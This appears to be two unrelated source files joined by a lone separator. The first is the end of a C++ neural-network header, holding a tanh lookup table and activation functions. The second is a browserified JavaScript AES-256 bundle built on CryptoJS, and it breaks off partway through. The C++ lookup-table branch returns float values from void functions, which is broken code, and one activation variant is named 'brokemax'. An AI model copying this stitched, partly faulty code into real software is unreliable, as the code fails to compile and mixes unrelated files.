-0.999846f,-0.999841f,-0.999836f,-0.99983f,-0.999825f,-0.99982f,-0.999814f,-0.999808f,-0.999802f,-0.999795f,-0.999789f,-0.999782f,-0.999775f,-0.999768f,-0.999761f,-0.999753f,
-0.999745f,-0.999737f,-0.999729f,-0.99972f,-0.999712f,-0.999702f,-0.999693f,-0.999683f,-0.999673f,-0.999663f,-0.999652f,-0.999641f,-0.99963f,-0.999618f,-0.999606f,-0.999593f,
-0.99958f,-0.999567f,-0.999553f,-0.999539f,-0.999524f,-0.999509f,-0.999494f,-0.999478f,-0.999461f,-0.999444f,-0.999426f,-0.999408f,-0.999389f,-0.99937f,-0.99935f,-0.999329f,
-0.999308f,-0.999286f,-0.999263f,-0.99924f,-0.999216f,-0.999191f,-0.999165f,-0.999139f,-0.999112f,-0.999083f,-0.999054f,-0.999024f,-0.998993f,-0.998961f,-0.998929f,-0.998894f,
-0.998859f,-0.998823f,-0.998786f,-0.998747f,-0.998708f,-0.998667f,-0.998624f,-0.998581f,-0.998536f,-0.998489f,-0.998441f,-0.998392f,-0.998341f,-0.998288f,-0.998234f,-0.998178f,
-0.99812f,-0.998061f,-0.997999f,-0.997936f,-0.99787f,-0.997803f,-0.997733f,-0.997661f,-0.997587f,-0.99751f,-0.997431f,-0.99735f,-0.997266f,-0.997179f,-0.99709f,-0.996998f,
-0.996902f,-0.996804f,-0.996703f,-0.996599f,-0.996491f,-0.99638f,-0.996265f,-0.996146f,-0.996024f,-0.995898f,-0.995769f,-0.995635f,-0.995496f,-0.995354f,-0.995207f,-0.995055f,
-0.994898f,-0.994737f,-0.99457f,-0.994398f,-0.994221f,-0.994038f,-0.993849f,-0.993655f,-0.993454f,-0.993247f,-0.993033f,-0.992813f,-0.992585f,-0.992351f,-0.992109f,-0.99186f,
-0.991602f,-0.991337f,-0.991063f,-0.990781f,-0.99049f,-0.990189f,-0.989879f,-0.98956f,-0.98923f,-0.98889f,-0.98854f,-0.988178f,-0.987805f,-0.98742f,-0.987023f,-0.986614f,
-0.986192f,-0.985757f,-0.985308f,-0.984845f,-0.984368f,-0.983876f,-0.983368f,-0.982845f,-0.982305f,-0.981749f,-0.981175f,-0.980583f,-0.979973f,-0.979344f,-0.978695f,-0.978026f,
-0.977336f,-0.976626f,-0.975892f,-0.975137f,-0.974357f,-0.973554f,-0.972726f,-0.971873f,-0.970993f,-0.970086f,-0.969151f,-0.968187f,-0.967194f,-0.96617f,-0.965115f,-0.964028f,
-0.962907f,-0.961752f,-0.960562f,-0.959335f,-0.958072f,-0.956769f,-0.955428f,-0.954045f,-0.952621f,-0.951154f,-0.949642f,-0.948085f,-0.946481f,-0.944829f,-0.943128f,-0.941376f,
-0.939571f,-0.937712f,-0.935799f,-0.933828f,-0.931799f,-0.92971f,-0.92756f,-0.925346f,-0.923068f,-0.920722f,-0.918309f,-0.915825f,-0.913269f,-0.910638f,-0.907932f,-0.905148f,
-0.902284f,-0.899339f,-0.896309f,-0.893193f,-0.889989f,-0.886695f,-0.883308f,-0.879827f,-0.876248f,-0.87257f,-0.86879f,-0.864907f,-0.860916f,-0.856818f,-0.852607f,-0.848284f,
-0.843844f,-0.839285f,-0.834605f,-0.829802f,-0.824872f,-0.819814f,-0.814624f,-0.809301f,-0.803841f,-0.798243f,-0.792503f,-0.786619f,-0.780588f,-0.774409f,-0.768079f,-0.761594f,
-0.754954f,-0.748155f,-0.741195f,-0.734071f,-0.726783f,-0.719328f,-0.711702f,-0.703906f,-0.695935f,-0.68779f,-0.679468f,-0.670967f,-0.662286f,-0.653424f,-0.644378f,-0.635149f,
-0.625735f,-0.616134f,-0.606348f,-0.596374f,-0.586212f,-0.575862f,-0.565325f,-0.5546f,-0.543687f,-0.532587f,-0.521301f,-0.50983f,-0.498174f,-0.486336f,-0.474316f,-0.462117f,
-0.449741f,-0.437189f,-0.424464f,-0.41157f,-0.398509f,-0.385284f,-0.371899f,-0.358357f,-0.344663f,-0.330821f,-0.316835f,-0.30271f,-0.28845f,-0.274062f,-0.259549f,-0.244919f,
-0.230176f,-0.215326f,-0.200377f,-0.185333f,-0.170202f,-0.154991f,-0.139705f,-0.124353f,-0.108941f,-0.0934763f,-0.0779665f,-0.0624188f,-0.0468407f,-0.0312398f,-0.0156237f,0.f,
0.0156237f,0.0312398f,0.0468407f,0.0624188f,0.0779665f,0.0934763f,0.108941f,0.124353f,0.139705f,0.154991f,0.170202f,0.185333f,0.200377f,0.215326f,0.230176f,0.244919f,
0.259549f,0.274062f,0.28845f,0.30271f,0.316835f,0.330821f,0.344663f,0.358357f,0.371899f,0.385284f,0.398509f,0.41157f,0.424464f,0.437189f,0.449741f,0.462117f,
0.474316f,0.486336f,0.498174f,0.50983f,0.521301f,0.532587f,0.543687f,0.5546f,0.565325f,0.575862f,0.586212f,0.596374f,0.606348f,0.616134f,0.625735f,0.635149f,
0.644378f,0.653424f,0.662286f,0.670967f,0.679468f,0.68779f,0.695935f,0.703906f,0.711702f,0.719328f,0.726783f,0.734071f,0.741195f,0.748155f,0.754954f,0.761594f,
0.768079f,0.774409f,0.780588f,0.786619f,0.792503f,0.798243f,0.803841f,0.809301f,0.814624f,0.819814f,0.824872f,0.829802f,0.834605f,0.839285f,0.843844f,0.848284f,
0.852607f,0.856818f,0.860916f,0.864907f,0.86879f,0.87257f,0.876248f,0.879827f,0.883308f,0.886695f,0.889989f,0.893193f,0.896309f,0.899339f,0.902284f,0.905148f,
0.907932f,0.910638f,0.913269f,0.915825f,0.918309f,0.920722f,0.923068f,0.925346f,0.92756f,0.92971f,0.931799f,0.933828f,0.935799f,0.937712f,0.939571f,0.941376f,
0.943128f,0.944829f,0.946481f,0.948085f,0.949642f,0.951154f,0.952621f,0.954045f,0.955428f,0.956769f,0.958072f,0.959335f,0.960562f,0.961752f,0.962907f,0.964028f,
0.965115f,0.96617f,0.967194f,0.968187f,0.969151f,0.970086f,0.970993f,0.971873f,0.972726f,0.973554f,0.974357f,0.975137f,0.975892f,0.976626f,0.977336f,0.978026f,
0.978695f,0.979344f,0.979973f,0.980583f,0.981175f,0.981749f,0.982305f,0.982845f,0.983368f,0.983876f,0.984368f,0.984845f,0.985308f,0.985757f,0.986192f,0.986614f,
0.987023f,0.98742f,0.987805f,0.988178f,0.98854f,0.98889f,0.98923f,0.98956f,0.989879f,0.990189f,0.99049f,0.990781f,0.991063f,0.991337f,0.991602f,0.99186f,
0.992109f,0.992351f,0.992585f,0.992813f,0.993033f,0.993247f,0.993454f,0.993655f,0.993849f,0.994038f,0.994221f,0.994398f,0.99457f,0.994737f,0.994898f,0.995055f,
0.995207f,0.995354f,0.995496f,0.995635f,0.995769f,0.995898f,0.996024f,0.996146f,0.996265f,0.99638f,0.996491f,0.996599f,0.996703f,0.996804f,0.996902f,0.996998f,
0.99709f,0.997179f,0.997266f,0.99735f,0.997431f,0.99751f,0.997587f,0.997661f,0.997733f,0.997803f,0.99787f,0.997936f,0.997999f,0.998061f,0.99812f,0.998178f,
0.998234f,0.998288f,0.998341f,0.998392f,0.998441f,0.998489f,0.998536f,0.998581f,0.998624f,0.998667f,0.998708f,0.998747f,0.998786f,0.998823f,0.998859f,0.998894f,
0.998929f,0.998961f,0.998993f,0.999024f,0.999054f,0.999083f,0.999112f,0.999139f,0.999165f,0.999191f,0.999216f,0.99924f,0.999263f,0.999286f,0.999308f,0.999329f,
0.99935f,0.99937f,0.999389f,0.999408f,0.999426f,0.999444f,0.999461f,0.999478f,0.999494f,0.999509f,0.999524f,0.999539f,0.999553f,0.999567f,0.99958f,0.999593f,
0.999606f,0.999618f,0.99963f,0.999641f,0.999652f,0.999663f,0.999673f,0.999683f,0.999693f,0.999702f,0.999712f,0.99972f,0.999729f,0.999737f,0.999745f,0.999753f,
0.999761f,0.999768f,0.999775f,0.999782f,0.999789f,0.999795f,0.999802f,0.999808f,0.999814f,0.99982f,0.999825f,0.99983f,0.999836f,0.999841f,0.999846f,0.99985f,
0.999855f,0.999859f,0.999864f,0.999868f,0.999872f,0.999876f,0.99988f,0.999884f,0.999887f,0.99989f,0.999894f,0.999897f,0.9999f,0.999903f,0.999906f,0.999909f,
0.999912f,0.999915f,0.999917f,0.99992f,0.999922f,0.999925f,0.999927f,0.999929f,0.999931f,0.999934f,0.999936f,0.999938f,0.99994f,0.999941f,0.999943f,0.999945f,
0.999947f,0.999948f,0.99995f,0.999951f,0.999953f,0.999954f,0.999956f,0.999957f,0.999958f,0.99996f,0.999961f,0.999962f,0.999963f,0.999964f,0.999966f,0.999967f,
0.999968f,0.999969f,0.99997f,0.99997f,0.999971f,0.999972f,0.999973f,0.999974f,0.999975f,0.999975f,0.999976f,0.999977f,0.999978f,0.999978f,0.999979f,0.99998f,
0.99998f,0.999981f,0.999981f,0.999982f,0.999983f,0.999983f,0.999984f,0.999984f,0.999985f,0.999985f,0.999986f,0.999986f,0.999987f,0.999987f,0.999987f,0.999988f,
0.999988f,0.999988f,0.999989f,0.999989f,0.99999f,0.99999f,0.99999f,0.99999f,0.999991f,0.999991f,0.999991f,0.999992f,0.999992f,0.999992f,0.999992f,0.999992f,
0.999993f,0.999993f,0.999993f,0.999993f,0.999994f,0.999994f,0.999994f,0.999994f,0.999994f,0.999995f,0.999995f,0.999995f,0.999995f,0.999995f,0.999995f,0.999995f,
0.999996f,0.999996f,0.999996f,0.999996f,0.999996f,0.999996f,0.999996f,0.999996f,0.999997f,0.999997f,0.999997f,0.999997f,0.999997f,0.999997f,0.999997f,0.999997f,
0.999997f,0.999997f,0.999998f,0.999998f,0.999998f,0.999998f,0.999998f,0.999998f,0.999998f,0.999998f,0.999998f,0.999998f,0.999998f,0.999998f,0.999998f,0.999998f,
0.999998f,0.999999f,0.999999f,0.999999f,0.999999f,0.999999f,0.999999f,0.999999f,0.999999f,0.999999f,0.999999f,0.999999f,0.999999f,0.999999f,0.999999f,0.999999f,
0.999999f,0.999999f,0.999999f,0.999999f,0.999999f,0.999999f,0.999999f,0.999999f,0.999999f,0.999999f,0.999999f,0.999999f,0.999999f,0.999999f,0.999999f,0.999999f,
0.999999f,0.999999f,0.999999f,0.999999f,1.f,1.f,1.f,1.f,1.f,1.f,1.f,1.f,1.f,1.f,1.f,1.f,
1.f,1.f,1.f,1.f,1.f,1.f,1.f,1.f,1.f,1.f,1.f,1.f,1.f,1.f,1.f };
#endif
// not using class because I thought this may be faster than vptrs
namespace tan_h
{
#ifndef MOJO_LUTS
inline void f(float *in, const int size, const float *bias) // this is activation f(x)
{
for(int i=0; i<size; i++)
{
const float ep = std::exp((in[i]+bias[i]));
const float em = std::exp(-(in[i] + bias[i]));
in[i]=(ep - em) / (ep + em);
}
}
inline void fc(float *in, const int size, const float bias) // this is activation f(x)
{
for(int i=0; i<size; i++)
{
const float ep = std::exp((in[i]+bias));
const float em = std::exp(-(in[i] + bias));
in[i]=(ep - em) / (ep + em);
}
}
#else
inline void f(float *in, const int size, const float *bias) // this is activation f(x)
{
for(int i=0; i<size; i++)
{
const int index = (int)((in[i] + bias[i]) * 64.0 + 512.);
if (index >= 1024) return 1.f; // iff exceed max index size
else if (index<0) return -1.f; // or below min index 0
in[i]= tanh_lut[index];
}
}
inline void fc(float *in, const int size, const float bias) // this is activation f(x)
{
for(int i=0; i<size; i++)
{
const int index = (int)((in[i] + bias) * 64.0 + 512.);
if (index >= 1024) return 1.f; // iff exceed max index size
else if (index<0) return -1.f; // or below min index 0
in[i]= tanh_lut[index];
}
}
#endif // MOJO_LUTS
inline float df(float *in, int i, const int size) { return (1.f - in[i]*in[i]); } // this is df(x), but we pass in the activated value f(x) and not x
const char name[]="tanh";
}
namespace elu
{
inline void f(float *in, const int size, const float *bias)
{
for(int i=0; i<size; i++)
{
if((in[i] + bias[i]) < 0) in[i]= 0.1f*(std::exp((in[i] + bias[i])) - 1.f);
else in[i]=(in[i] + bias[i]);
}
}
inline void fc(float *in, const int size, const float bias)
{
for(int i=0; i<size; i++)
{
if((in[i] + bias) < 0) in[i]= 0.1f*(std::exp((in[i] + bias)) - 1.f);
else in[i]=(in[i] + bias);
}
} inline float df(float *in, int i, const int size) { if(in[i] > 0) return 1.f; else return 0.1f*std::exp(in[i]);}
const char name[]="elu";
}
namespace identity
{
inline void f(float *in, const int size, const float *bias)
{
for(int i=0; i<size; i++) in[i]=(in[i] + bias[i]);
}
inline void fc(float *in, const int size, const float bias)
{
for(int i=0; i<size; i++) in[i]=(in[i] + bias);
}
inline float df(float *in, int i, const int size){return 1.f;};
const char name[]="identity";
}
namespace relu
{
inline void f(float *in, const int size, const float *bias)
{
for(int i=0; i<size; i++)
{
if((in[i] + bias[i]) < 0) in[i]= 0;
else in[i]=(in[i] + bias[i]);
}
}
inline void fc(float *in, const int size, const float bias)
{
for(int i=0; i<size; i++)
{
if((in[i] + bias) < 0) in[i]= 0;
else in[i]=(in[i] + bias);
}
} inline float df(float *in, int i, const int size) {if(in[i] > 0) return 1.0f; else return 0.0f; }
const char name[]="relu";
};
namespace lrelu
{
inline void f(float *in, const int size, const float *bias)
{
for(int i=0; i<size; i++) {
if((in[i] + bias[i]) < 0) in[i]= 0.01f*(in[i] + bias[i]);
else in[i]=(in[i] + bias[i]);
}
}
inline void fc(float *in, const int size, const float bias)
{
for(int i=0; i<size; i++) {
if((in[i] + bias) < 0) in[i]= 0.01f*(in[i] + bias);
else in[i]=(in[i] + bias);
}
}
inline float df(float *in, int i, const int size) {if(in[i] > 0) return 1.0f; else return 0.01f; }
const char name[]="lrelu";
};
namespace vlrelu
{
inline void f(float *in, const int size, const float *bias)
{
for(int i=0; i<size; i++) {
if((in[i] + bias[i]) < 0) in[i]= 0.33f*(in[i] + bias[i]);
else in[i]=(in[i] + bias[i]);
}
}
inline void fc(float *in, const int size, const float bias)
{
for(int i=0; i<size; i++) {
if((in[i] + bias) < 0) in[i]= 0.33f*(in[i] + bias);
else in[i]=(in[i] + bias);
}
}
inline float df(float *in, int i, const int size) {if(in[i] > 0) return 1.0f; else return 0.33f; }
const char name[]="vlrelu";
};
namespace sigmoid
{
inline void f(float *in, const int size, const float *bias)
{
for(int i=0; i<size; i++) in[i]=1.0f/(1.0f+exp(-(in[i] + bias[i])));
}
inline void fc(float *in, const int size, const float bias)
{
for(int i=0; i<size; i++) in[i]=1.0f/(1.0f+exp(-(in[i] + bias)));
}
inline float df(float *in, int i, const int size) {return in[i]*(1.f-in[i]); }
const char name[]="sigmoid";
};
namespace softmax
{
inline void f(float *in, const int size, const float *bias)
{
float max = in[0];
for (int j = 1; j<size; j++) if (in[j] > max) max = in[j];
float denom = 0;
for (int j = 0; j<size; j++) denom += std::exp(in[j] - max);
for(int i=0; i<size; i++) in[i]= std::exp(in[i] - max) / denom;
}
inline void fc(float *in, const int size, const float bias)
{
float max = in[0];
for (int j = 1; j<size; j++) if (in[j] > max) max = in[j];
float denom = 0;
for (int j = 0; j<size; j++) denom += std::exp(in[j] - max);
for(int i=0; i<size; i++) in[i]= std::exp(in[i] - max) / denom;
}
inline float df(float *in, int i, const int size)
{
// don't really use... should use good cost func to make this go away
return in[i] * (1.f - in[i]);
// for(int j=0; j<size; j++)
// {
// if(i==j) in[i]= in[i] * (1.f - in[i]);
// else in[i] = in[i]*in[j];
// }
}
const char name[] = "softmax";
};
namespace brokemax
{
inline void f(float *in, const int size, const float *bias)
{
for(int i=0; i<size; i++)
{
float max = in[0];
for (int j = 1; j<size; j++) if (in[j] > max) max = in[j];
float denom = 0;
for (int j = 0; j<size; j++) denom += std::exp(in[j] - max);
in[i]= std::exp(in[i] - max) / denom;
}
}
inline void fc(float *in, const int size, const float bias)
{
float max = in[0];
for (int j = 1; j<size; j++) if (in[j] > max) max = in[j];
float denom = 0;
for (int j = 0; j<size; j++) denom += std::exp(in[j] - max);
for(int i=0; i<size; i++) in[i]= std::exp(in[i] - max) / denom;
}
inline float df(float *in, int i, const int size)
{
// don't really use... should use good cost func to make this go away
return in[i] * (1.f - in[i]);
// for(int j=0; j<size; j++)
// {
// if(i==j) in[i]= in[i] * (1.f - in[i]);
// else in[i] = in[i]*in[j];
// }
}
const char name[] = "brokemax";
};
namespace none
{
inline void f(float *in, const int size, const float *bias) {return;};
inline void fc(float *in, const int size, const float bias) {return;};
inline float df(float *in, int i, int size) {return 0;};
const char name[]="none";
};
typedef struct
{
public:
void (*f)(float *, const int, const float*);
void (*fc)(float *, const int, const float);
float (*df)(float *, int, const int);
const char *name;
} activation_function;
activation_function* new_activation_function(std::string act)
{
activation_function *p = new activation_function;
if(act.compare(tan_h::name)==0) { p->f = &tan_h::f; p->fc = &tan_h::fc; p->df = &tan_h::df; p->name=tan_h::name;return p;}
if(act.compare(identity::name)==0) { p->f = &identity::f; p->fc = &identity::fc; p->df = &identity::df; p->name=identity::name; return p;}
if(act.compare(vlrelu::name)==0) { p->f = &vlrelu::f; p->fc = &vlrelu::fc; p->df = &vlrelu::df; p->name=vlrelu::name; return p;}
if(act.compare(lrelu::name)==0) { p->f = &lrelu::f; p->fc = &lrelu::fc; p->df = &lrelu::df; p->name=lrelu::name; return p;}
if(act.compare(relu::name)==0) { p->f = &relu::f; p->fc = &relu::fc;p->df = &relu::df; p->name=relu::name;return p;}
if(act.compare(sigmoid::name)==0) { p->f = &sigmoid::f; p->fc = &sigmoid::fc;p->df = &sigmoid::df; p->name=sigmoid::name; return p;}
if(act.compare(elu::name)==0) { p->f = &elu::f; p->fc = &elu::fc; p->df = &elu::df; p->name=elu::name; return p;}
if(act.compare(none::name)==0) { p->f = &none::f; p->fc = &none::fc; p->df = &none::df; p->name=none::name; return p;}
if(act.compare(softmax::name) == 0) { p->f = &softmax::f; p->fc = &softmax::fc;p->df = &softmax::df; p->name = softmax::name; return p; }
if(act.compare(brokemax::name) == 0) { p->f = &brokemax::f; p->fc = &brokemax::fc;p->df = &brokemax::df; p->name = brokemax::name; return p; }
delete p;
return NULL;
}
activation_function* new_activation_function(const char *type)
{
std::string act(type);
return new_activation_function(act);
}
} // namespace
|
/*!
* aes256.js v1.0.0
* @author Andrey Izman <izmanw@gmail.com>
* @copyright Andrey Izman (c) 2018
* @license MIT
*/
(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(require,module,exports){
/**
* aes256.js
* AES Everywhere - Cross Language Encryption Library
* @author Andrey Izman <izmanw@gmail.com>
* @copyright Andrey Izman (c) 2018
* @license MIT
*/
/* jshint node: true */
'use strict';
var CryptoJS = require('node-cryptojs-aes').CryptoJS;
var OpenSslFormatter = {
stringify(params) {
var salt = CryptoJS.enc.Hex.parse(params.salt.toString()).toString(CryptoJS.enc.Latin1);
var ct = params.ciphertext.toString(CryptoJS.enc.Latin1);
return CryptoJS.enc.Latin1.parse('Salted__' + salt + ct).toString(CryptoJS.enc.Base64);
},
parse(str) {
var str = CryptoJS.enc.Base64.parse(str).toString(CryptoJS.enc.Latin1);
var salted = str.substr(0, 8);
if (salted !== 'Salted__') {
throw new Error('Error parsing salt');
}
var salt = str.substr(8, 8);
var ct = str.substr(16);
return CryptoJS.lib.CipherParams.create({
ciphertext: CryptoJS.enc.Latin1.parse(ct),
salt: CryptoJS.enc.Latin1.parse(salt)
});
}
};
var AES256 = {
encrypt: function(input, passphrase) {
return CryptoJS.AES.encrypt(input, passphrase, {format: OpenSslFormatter}).toString();
},
decrypt: function(crypted, passphrase) {
return CryptoJS.AES.decrypt(crypted, passphrase, {format: OpenSslFormatter}).toString(CryptoJS.enc.Utf8);
}
};
module.exports = AES256;
},{"node-cryptojs-aes":2}],2:[function(require,module,exports){
var CryptoJS = require('./lib/core').CryptoJS;
require('./lib/enc-base64');
require('./lib/md5');
require('./lib/evpkdf');
require('./lib/cipher-core');
require('./lib/aes');
var JsonFormatter = require('./lib/jsonformatter').JsonFormatter;
exports.CryptoJS = CryptoJS;
exports.JsonFormatter = JsonFormatter;
},{"./lib/aes":3,"./lib/cipher-core":4,"./lib/core":5,"./lib/enc-base64":6,"./lib/evpkdf":7,"./lib/jsonformatter":8,"./lib/md5":9}],3:[function(require,module,exports){
var CryptoJS = require('./core').CryptoJS;
/*
CryptoJS v3.1.2
code.google.com/p/crypto-js
(c) 2009-2013 by Jeff Mott. All rights reserved.
code.google.com/p/crypto-js/wiki/License
*/
(function () {
// Shortcuts
var C = CryptoJS;
var C_lib = C.lib;
var BlockCipher = C_lib.BlockCipher;
var C_algo = C.algo;
// Lookup tables
var SBOX = [];
var INV_SBOX = [];
var SUB_MIX_0 = [];
var SUB_MIX_1 = [];
var SUB_MIX_2 = [];
var SUB_MIX_3 = [];
var INV_SUB_MIX_0 = [];
var INV_SUB_MIX_1 = [];
var INV_SUB_MIX_2 = [];
var INV_SUB_MIX_3 = [];
// Compute lookup tables
(function () {
// Compute double table
var d = [];
for (var i = 0; i < 256; i++) {
if (i < 128) {
d[i] = i << 1;
} else {
d[i] = (i << 1) ^ 0x11b;
}
}
// Walk GF(2^8)
var x = 0;
var xi = 0;
for (var i = 0; i < 256; i++) {
// Compute sbox
var sx = xi ^ (xi << 1) ^ (xi << 2) ^ (xi << 3) ^ (xi << 4);
sx = (sx >>> 8) ^ (sx & 0xff) ^ 0x63;
SBOX[x] = sx;
INV_SBOX[sx] = x;
// Compute multiplication
var x2 = d[x];
var x4 = d[x2];
var x8 = d[x4];
// Compute sub bytes, mix columns tables
var t = (d[sx] * 0x101) ^ (sx * 0x1010100);
SUB_MIX_0[x] = (t << 24) | (t >>> 8);
SUB_MIX_1[x] = (t << 16) | (t >>> 16);
SUB_MIX_2[x] = (t << 8) | (t >>> 24);
SUB_MIX_3[x] = t;
// Compute inv sub bytes, inv mix columns tables
var t = (x8 * 0x1010101) ^ (x4 * 0x10001) ^ (x2 * 0x101) ^ (x * 0x1010100);
INV_SUB_MIX_0[sx] = (t << 24) | (t >>> 8);
INV_SUB_MIX_1[sx] = (t << 16) | (t >>> 16);
INV_SUB_MIX_2[sx] = (t << 8) | (t >>> 24);
INV_SUB_MIX_3[sx] = t;
// Compute next counter
if (!x) {
x = xi = 1;
} else {
x = x2 ^ d[d[d[x8 ^ x2]]];
xi ^= d[d[xi]];
}
}
}());
// Precomputed Rcon lookup
var RCON = [0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36];
/**
* AES block cipher algorithm.
*/
var AES = C_algo.AES = BlockCipher.extend({
_doReset: function () {
// Shortcuts
var key = this._key;
var keyWords = key.words;
var keySize = key.sigBytes / 4;
// Compute number of rounds
var nRounds = this._nRounds = keySize + 6
// Compute number of key schedule rows
var ksRows = (nRounds + 1) * 4;
// Compute key schedule
var keySchedule = this._keySchedule = [];
for (var ksRow = 0; ksRow < ksRows; ksRow++) {
if (ksRow < keySize) {
keySchedule[ksRow] = keyWords[ksRow];
} else {
var t = keySchedule[ksRow - 1];
if (!(ksRow % keySize)) {
// Rot word
t = (t << 8) | (t >>> 24);
// Sub word
t = (SBOX[t >>> 24] << 24) | (SBOX[(t >>> 16) & 0xff] << 16) | (SBOX[(t >>> 8) & 0xff] << 8) | SBOX[t & 0xff];
// Mix Rcon
t ^= RCON[(ksRow / keySize) | 0] << 24;
} else if (keySize > 6 && ksRow % keySize == 4) {
// Sub word
t = (SBOX[t >>> 24] << 24) | (SBOX[(t >>> 16) & 0xff] << 16) | (SBOX[(t >>> 8) & 0xff] << 8) | SBOX[t & 0xff];
}
keySchedule[ksRow] = keySchedule[ksRow - keySize] ^ t;
}
}
// Compute inv key schedule
var invKeySchedule = this._invKeySchedule = [];
for (var invKsRow = 0; invKsRow < ksRows; invKsRow++) {
var ksRow = ksRows - invKsRow;
if (invKsRow % 4) {
var t = keySchedule[ksRow];
} else {
var t = keySchedule[ksRow - 4];
}
if (invKsRow < 4 || ksRow <= 4) {
invKeySchedule[invKsRow] = t;
} else {
invKeySchedule[invKsRow] = INV_SUB_MIX_0[SBOX[t >>> 24]] ^ INV_SUB_MIX_1[SBOX[(t >>> 16) & 0xff]] ^
INV_SUB_MIX_2[SBOX[(t >>> 8) & 0xff]] ^ INV_SUB_MIX_3[SBOX[t & 0xff]];
}
}
},
encryptBlock: function (M, offset) {
this._doCryptBlock(M, offset, this._keySchedule, SUB_MIX_0, SUB_MIX_1, SUB_MIX_2, SUB_MIX_3, SBOX);
},
decryptBlock: function (M, offset) {
// Swap 2nd and 4th rows
var t = M[offset + 1];
M[offset + 1] = M[offset + 3];
M[offset + 3] = t;
this._doCryptBlock(M, offset, this._invKeySchedule, INV_SUB_MIX_0, INV_SUB_MIX_1, INV_SUB_MIX_2, INV_SUB_MIX_3, INV_SBOX);
// Inv swap 2nd and 4th rows
var t = M[offset + 1];
M[offset + 1] = M[offset + 3];
M[offset + 3] = t;
},
_doCryptBlock: function (M, offset, keySchedule, SUB_MIX_0, SUB_MIX_1, SUB_MIX_2, SUB_MIX_3, SBOX) {
// Shortcut
var nRounds = this._nRounds;
// Get input, add round key
var s0 = M[offset] ^ keySchedule[0];
var s1 = M[offset + 1] ^ keySchedule[1];
var s2 = M[offset + 2] ^ keySchedule[2];
var s3 = M[offset + 3] ^ keySchedule[3];
// Key schedule row counter
var ksRow = 4;
// Rounds
for (var round = 1; round < nRounds; round++) {
// Shift rows, sub bytes, mix columns, add round key
var t0 = SUB_MIX_0[s0 >>> 24] ^ SUB_MIX_1[(s1 >>> 16) & 0xff] ^ SUB_MIX_2[(s2 >>> 8) & 0xff] ^ SUB_MIX_3[s3 & 0xff] ^ keySchedule[ksRow++];
var t1 = SUB_MIX_0[s1 >>> 24] ^ SUB_MIX_1[(s2 >>> 16) & 0xff] ^ SUB_MIX_2[(s3 >>> 8) & 0xff] ^ SUB_MIX_3[s0 & 0xff] ^ keySchedule[ksRow++];
var t2 = SUB_MIX_0[s2 >>> 24] ^ SUB_MIX_1[(s3 >>> 16) & 0xff] ^ SUB_MIX_2[(s0 >>> 8) & 0xff] ^ SUB_MIX_3[s1 & 0xff] ^ keySchedule[ksRow++];
var t3 = SUB_MIX_0[s3 >>> 24] ^ SUB_MIX_1[(s0 >>> 16) & 0xff] ^ SUB_MIX_2[(s1 >>> 8) & 0xff] ^ SUB_MIX_3[s2 & 0xff] ^ keySchedule[ksRow++];
// Update state
s0 = t0;
s1 = t1;
s2 = t2;
s3 = t3;
}
// Shift rows, sub bytes, add round key
var t0 = ((SBOX[s0 >>> 24] << 24) | (SBOX[(s1 >>> 16) & 0xff] << 16) | (SBOX[(s2 >>> 8) & 0xff] << 8) | SBOX[s3 & 0xff]) ^ keySchedule[ksRow++];
var t1 = ((SBOX[s1 >>> 24] << 24) | (SBOX[(s2 >>> 16) & 0xff] << 16) | (SBOX[(s3 >>> 8) & 0xff] << 8) | SBOX[s0 & 0xff]) ^ keySchedule[ksRow++];
var t2 = ((SBOX[s2 >>> 24] << 24) | (SBOX[(s3 >>> 16) & 0xff] << 16) | (SBOX[(s0 >>> 8) & 0xff] << 8) | SBOX[s1 & 0xff]) ^ keySchedule[ksRow++];
var t3 = ((SBOX[s3 >>> 24] << 24) | (SBOX[(s0 >>> 16) & 0xff] << 16) | (SBOX[(s1 >>> 8) & 0xff] << 8) | SBOX[s2 & 0xff]) ^ keySchedule[ksRow++];
// Set output
M[offset] = t0;
M[offset + 1] = t1;
M[offset + 2] = t2;
M[offset + 3] = t3;
},
keySize: 256/32
});
/**
* Shortcut functions to the cipher's object interface.
*
* @example
*
* var ciphertext = CryptoJS.AES.encrypt(message, key, cfg);
* var plaintext = CryptoJS.AES.decrypt(ciphertext, key, cfg);
*/
C.AES = BlockCipher._createHelper(AES);
}());
},{"./core":5}],4:[function(require,module,exports){
var CryptoJS = require('./core').CryptoJS;
/*
CryptoJS v3.1.2
code.google.com/p/crypto-js
(c) 2009-2013 by Jeff Mott. All rights reserved.
code.google.com/p/crypto-js/wiki/License
*/
/**
* Cipher core components.
*/
CryptoJS.lib.Cipher || (function (undefined) {
// Shortcuts
var C = CryptoJS;
var C_lib = C.lib;
var Base = C_lib.Base;
var WordArray = C_lib.WordArray;
var BufferedBlockAlgorithm = C_lib.BufferedBlockAlgorithm;
var C_enc = C.enc;
var Utf8 = C_enc.Utf8;
var Base64 = C_enc.Base64;
var C_algo = C.algo;
var EvpKDF = C_algo.EvpKDF;
/**
* Abstract base cipher template.
*
* @property {number} keySize This cipher's key size. Default: 4 (128 bits)
* @property {number} ivSize This cipher's IV size. Default: 4 (128 bits)
* @property {number} _ENC_XFORM_MODE A constant representing encryption mode.
* @property {number} _DEC_XFORM_MODE A constant representing decryption mode.
*/
var Cipher = C_lib.Cipher = BufferedBlockAlgorithm.extend({
/**
* Configuration options.
*
* @property {WordArray} iv The IV to use for this operation.
*/
cfg: Base.extend(),
/**
* Creates this cipher in encryption mode.
*
* @param {WordArray} key The key.
* @param {Object} cfg (Optional) The configuration options to use for this operation.
*
* @return {Cipher} A cipher instance.
*
* @static
*
* @example
*
* var cipher = CryptoJS.algo.AES.createEncryptor(keyWordArray, { iv: ivWordArray });
*/
createEncryptor: function (key, cfg) {
return this.create(this._ENC_XFORM_MODE, key, cfg);
},
/**
* Creates this cipher in decryption mode.
*
* @param {WordArray} key The key.
* @param {Object} cfg (Optional) The configuration options to use for this operation.
*
* @return {Cipher} A cipher instance.
*
* @static
*
* @example
*
* var cipher = CryptoJS.algo.AES.createDecryptor(keyWordArray, { iv: ivWordArray });
*/
createDecryptor: function (key, cfg) {
